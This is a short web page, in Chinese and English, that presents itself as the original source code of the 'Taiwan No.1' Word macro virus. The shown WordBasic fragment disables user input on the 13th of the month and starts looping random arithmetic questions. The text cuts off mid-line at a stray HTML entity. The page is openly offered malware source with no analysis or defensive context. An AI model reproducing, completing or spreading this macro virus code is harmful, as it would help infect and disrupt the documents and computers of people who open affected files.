台湾一号宏病毒原始源代码

Taiwan No.1 病毒原始码

  Dim Shared nm(4)

  Sub MAIN

  DisableInput 1

  If Day(Now()) = 13 Then

  try:

    On Error Goto 0

    On Error Goto try

    test = - 1

    con = 1

    tog$ = ""

    i = 0
    While test = - 1

      For i = 0 To 4

        nm(i) = Int(Rnd() * 10000)                             

        con = (con * nm(i))

        If i = 4 Then

          tog$ = tog$ + Str$(nm(4)) + " =?"

  &nbs